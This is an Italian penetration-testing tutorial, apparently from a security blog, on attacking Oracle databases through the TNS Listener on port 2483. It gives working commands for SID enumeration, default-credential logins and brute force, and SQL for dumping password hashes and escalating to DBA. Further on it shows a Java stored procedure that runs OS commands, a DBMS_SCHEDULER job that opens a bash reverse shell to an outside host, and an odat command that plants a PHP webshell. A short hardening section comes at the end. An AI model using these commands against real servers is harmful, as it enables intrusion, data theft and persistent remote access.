networking

Porta 2483 Oracle DB: TNS Listener, SID e Pentest

Porta 2483 Oracle DB: TNS Listener, SID e Pentest

Porta 2483 Oracle DB nel pentest: TNS Listener, SID e service name enumeration, brute force credenziali, escalation DBA e tecniche di accesso al sistema

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 5 min

Executive Summary — Oracle Database è il RDBMS enterprise più diffuso in contesti corporate e governativi. La porta 2483 è la porta TCP standard per le connessioni client al TNS Listener (la porta tradizionale 1521 è ancora più comune, ma 2483 è il nuovo standard IANA per Oracle). Il TNS Listener è il gateway: gestisce le connessioni dei client e le instrada verso la giusta istanza del database. Nel pentest, Oracle è un target di alto valore: contiene dati critici, spesso ha credenziali di default attive, e se raggiungi il ruolo DBA puoi eseguire comandi sul sistema operativo. La porta 2484 è la variante SSL/TLS.

Cos’è odat.py (Oracle pentest tool)

  • odat.py è il tool principale per il pentest Oracle — enumera SID, brute force ed escalation
  • Primo step: enumerare SID/service name — senza questo non puoi connetterti al database
  • Testa sempre le credenziali di default (scott/tiger, system/manager, sys/change_on_install)

Cos’è il TNS Listener e Come Funziona #

Oracle non accetta connessioni dirette al database. Il TNS Listener (Transparent Network Substrate) è il processo che ascolta sulla porta e instrada le connessioni:

text
Client Oracle                       Server Oracle
┌──────────────┐                    ┌──────────────────────────┐
│ sqlplus      │                    │  TNS Listener (:2483)    │
│ connect      │ ── TNS connect ──►│  ├── SID: ORCL           │
│ string       │                    │  ├── SID: PROD           │
│              │ ◄── redirect ────  │  └── SID: DEV            │
│              │ ── data ──────────►│     └── Oracle Instance  │
└──────────────┘                    └──────────────────────────┘

Per connettersi serve un connect string che include: host, porta e SID (System Identifier) o Service Name. Senza il SID, non puoi raggiungere il database — per questo l’enumerazione del SID è il primo step.

Porte Oracle #

PortaFunzione
1521TNS Listener (porta tradizionale, ancora la più comune)
2483TNS Listener (porta IANA standard, adozione crescente)
2484TNS Listener SSL/TLS
1158Oracle Enterprise Manager (HTTP)
5500Oracle Enterprise Manager Express (HTTPS)

Tutte le tecniche di questo articolo funzionano sia sulla 1521 che sulla 2483 — cambia solo il numero di porta nei comandi.

1. Enumerazione #

Nmap #

bash
nmap -sV -p 2483 --script=oracle-tns-version,oracle-sid-brute,oracle-enum-users 10.10.10.40
text
PORT     STATE SERVICE    VERSION
2483/tcp open  oracle-tns Oracle TNS listener 19.0.0.0.0
| oracle-tns-version:
|   VERSION: 19.0.0.0.0
|   VSNNUM: 318767104
| oracle-sid-brute:
|   ORCL
|   XE
|_  PROD

Enumerazione SID con odat #

odat.py (Oracle Database Attacking Tool) è il framework principale per il pentest Oracle.

bash
odat sidguesser -s 10.10.10.40 -p 2483
text
[+] SIDs found on 10.10.10.40:2483:
    ORCL
    XE
    PROD
    LISTENER

Enumerazione SID con tnscmd #

bash
tnscmd10g version -h 10.10.10.40 -p 2483
text
TNS Listener version: 19.0.0.0.0
bash
tnscmd10g status -h 10.10.10.40 -p 2483

Il comando status può rivelare: versione, SID attivi, hostname, OS, tempo di avvio.

Enumerazione SID con Metasploit #

text
msf6 > use auxiliary/scanner/oracle/sid_enum
msf6 > set RHOSTS 10.10.10.40
msf6 > set RPORT 2483
msf6 > run

SID comuni da testare #

text
ORCL, XE, PROD, DEV, TEST, STAGE, UAT, DB01, FINANCE, HR, ERP, SAP

2. Credential Attack #

Default Credentials #

Oracle ha decine di account default. Molti non vengono mai disabilitati:

UsernamePasswordRuolo
syschange_on_installSYSDBA
systemmanagerDBA
scotttigerUser
dbsnmpdbsnmpMonitoring
mdsysmdsysSpatial
ctxsysctxsysText
outlnoutlnSchema
hrhrSample

Test con sqlplus #

bash
sqlplus sys/change_on_install@10.10.10.40:2483/ORCL as sysdba
text
Connected to:
Oracle Database 19c Enterprise Edition
SQL>

Se funziona → accesso SYSDBA → game over. SYSDBA è il massimo privilegio in Oracle.

bash
sqlplus system/manager@10.10.10.40:2483/ORCL
bash
sqlplus scott/tiger@10.10.10.40:2483/ORCL

Brute force con odat #

bash
odat passwordguesser -s 10.10.10.40 -p 2483 -d ORCL \
  --accounts-file /usr/share/odat/accounts/accounts.txt
text
[+] Valid credentials found:
    scott/tiger on ORCL
    dbsnmp/dbsnmp on ORCL

Brute force con Hydra #

bash
hydra -L users.txt -P passwords.txt 10.10.10.40 oracle-listener -s 2483

Brute force con Metasploit #

text
msf6 > use auxiliary/scanner/oracle/oracle_login
msf6 > set RHOSTS 10.10.10.40
msf6 > set RPORT 2483
msf6 > set SID ORCL
msf6 > run

3. Post-Authentication — Enumerazione Database #

Informazioni di base #

sql
-- Versione
SELECT * FROM v$version;

-- Database name
SELECT ora_database_name FROM dual;

-- Hostname
SELECT host_name FROM v$instance;

-- Utente corrente
SELECT user FROM dual;

-- Ruoli
SELECT * FROM session_roles;

-- Privilegi
SELECT * FROM session_privs;

Utenti e hash #

sql
-- Lista utenti
SELECT username, account_status FROM dba_users;

-- Hash password (Oracle 11g+)
SELECT name, spare4 FROM sys.user$;
text
NAME        SPARE4
------      ------
SYS         S:ABC123DEF456...
SYSTEM      S:789ABC123DEF...
SCOTT       S:DEF789ABC123...

Gli hash Oracle sono crackabili con hashcat (mode 112 per Oracle 11g, mode 12300 per Oracle 12c+).

Tabelle e dati #

sql
-- Lista tabelle del proprietario corrente
SELECT table_name FROM user_tables;

-- Lista tutte le tabelle (se DBA)
SELECT owner, table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM','MDSYS');

-- Dump dati
SELECT * FROM HR.EMPLOYEES;
SELECT * FROM FINANCE.CREDIT_CARDS;

4. Privilege Escalation — Da User a DBA #

Verifica ruolo corrente #

sql
SELECT * FROM session_roles;

Se non hai DBA, devi escalare.

odat — Privilege Escalation automatizzata #

bash
odat privesc -s 10.10.10.40 -p 2483 -d ORCL -U scott -P tiger --sysdba

odat tenta automaticamente diversi metodi di escalation.

Escalation via EXECUTE ANY PROCEDURE #

Se hai il privilegio EXECUTE ANY PROCEDURE:

sql
-- Esegui procedure di sistema per ottenere DBA
BEGIN
  DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM, 'DEFAULT');
END;
/

-- Grant DBA a te stesso (se hai i permessi necessari)
EXEC DBMS_SQL.PARSE(DBMS_SQL.OPEN_CURSOR, 'GRANT DBA TO SCOTT', DBMS_SQL.NATIVE);

Escalation via CREATE ANY PROCEDURE #

sql
CREATE OR REPLACE PROCEDURE SYS.GRANT_DBA
IS
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/

EXEC SYS.GRANT_DBA;

5. Remote Code Execution — Da Oracle al Sistema Operativo #

Java Stored Procedure (metodo più affidabile) #

Se Java è installato nel database (comune nelle installazioni Enterprise):

sql
-- Crea la procedura Java per OS command execution
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
  public static String run(String command) {
    try {
      Process p = Runtime.getRuntime().exec(command);
      BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
      String line;
      StringBuilder sb = new StringBuilder();
      while ((line = br.readLine()) != null) sb.append(line).append("\n");
      return sb.toString();
    } catch (Exception e) { return e.getMessage(); }
  }
};
/

-- Wrapper PL/SQL
CREATE OR REPLACE FUNCTION os_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'cmd.run(java.lang.String) return java.lang.String';
/

-- Grant necessari (se SYSDBA)
BEGIN
  DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.io.FilePermission', '<<ALL FILES>>', 'execute');
  DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.lang.RuntimePermission', '*', 'writeFileDescriptor');
END;
/

-- Esegui comandi OS
SELECT os_cmd('id') FROM dual;
text
oracle
uid=1001(oracle) gid=1001(oinstall) groups=1001(oinstall),1002(dba)

RCE come utente oracle. Per il privilege escalation Linux.

DBMS_SCHEDULER (Oracle 10g+) #

sql
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name   => 'OS_CMD',
    job_type   => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 2,
    enabled    => FALSE
  );
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 1, '-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 2, 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1');
  DBMS_SCHEDULER.ENABLE('OS_CMD');
END;
/

Reverse shell come utente oracle.

Lettura/Scrittura file #

sql
-- Leggere file dal filesystem
CREATE DIRECTORY HACK_DIR AS '/etc';
SELECT * FROM EXTERNAL(
  (line VARCHAR2(4000))
  TYPE ORACLE_LOADER
  DEFAULT DIRECTORY HACK_DIR
  ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS (line VARCHAR2(4000)))
  LOCATION ('passwd')
) t;

odat — RCE automatizzato #

bash
# Upload ed esecuzione file
odat externaltable -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
  --sysdba --exec /bin/bash "-c 'id'"
bash
# Upload webshell (se il server web gira sullo stesso host)
odat utlfile -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
  --sysdba --putFile /var/www/html cmd.php "<?php system(\$_GET['c']); ?>"

6. odat — Panoramica Completa dei Moduli #

ModuloFunzione
sidguesserBrute force SID
passwordguesserBrute force credenziali
tnspoisonTNS Poisoning (MiTM)
privescPrivilege escalation automatizzata
externaltableOS command execution
utlfileFile read/write via UTL_FILE
dbmsschedulerOS command via DBMS_SCHEDULER
javaOS command via Java
ctxsysRCE via Oracle Text (CTXSYS)
stealremotepwdsCattura hash in transito
searchCerca pattern nei dati

7. Detection & Hardening #

Blue Team #

text
- Monitor login falliti e brute force (alert_log.ora)
- Audit comandi DDL e DML privilegiati
- Alert su creazione Java stored procedure
- Monitor DBMS_SCHEDULER job creation
- Verifica account default disabilitati

Hardening #

  • Disabilita/blocca tutti gli account defaultALTER USER scott ACCOUNT LOCK
  • Password complesse per sys, system e tutti gli account attivi
  • Listener con passwordADMIN_RESTRICTIONS_LISTENER = ON in listener.ora
  • Oracle Net allowed list — limita IP che possono connettersi
  • Rimuovi Java dal database se non necessario
  • Audit Oracle abilitato per DDL, login e comandi privilegiati
  • Usa la porta 2484 SSL per cifrare il traffico
  • Patch regolari — Oracle Critical Patch Update ogni trimestre

8. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 2483 --script=oracle-* target
SID enumodat sidguesser -s target -p 2483
Default credssqlplus sys/change_on_install@target:2483/SID as sysdba
Brute forceodat passwordguesser -s target -p 2483 -d SID
VersioneSELECT * FROM v\$version;
Lista utentiSELECT username FROM dba_users;
Hash passwordSELECT name, spare4 FROM sys.user\$;
OS command (Java)SELECT os_cmd('id') FROM dual;
OS command (Scheduler)DBMS_SCHEDULER.CREATE_JOB(job_type=>'EXECUTABLE')
File readodat utlfile ... --getFile /etc passwd
File writeodat utlfile ... --putFile /var/www/html shell.php "<?php...?>"
Privescodat privesc -s target -p 2483 -d SID --sysdba

Riferimento: ODAT documentation, Oracle Security Guide, HackTricks Oracle. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/oracle

hackita.it/supportohackita.it/servizi.

#Oracle TNS #SID Enumeration #ODAT

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.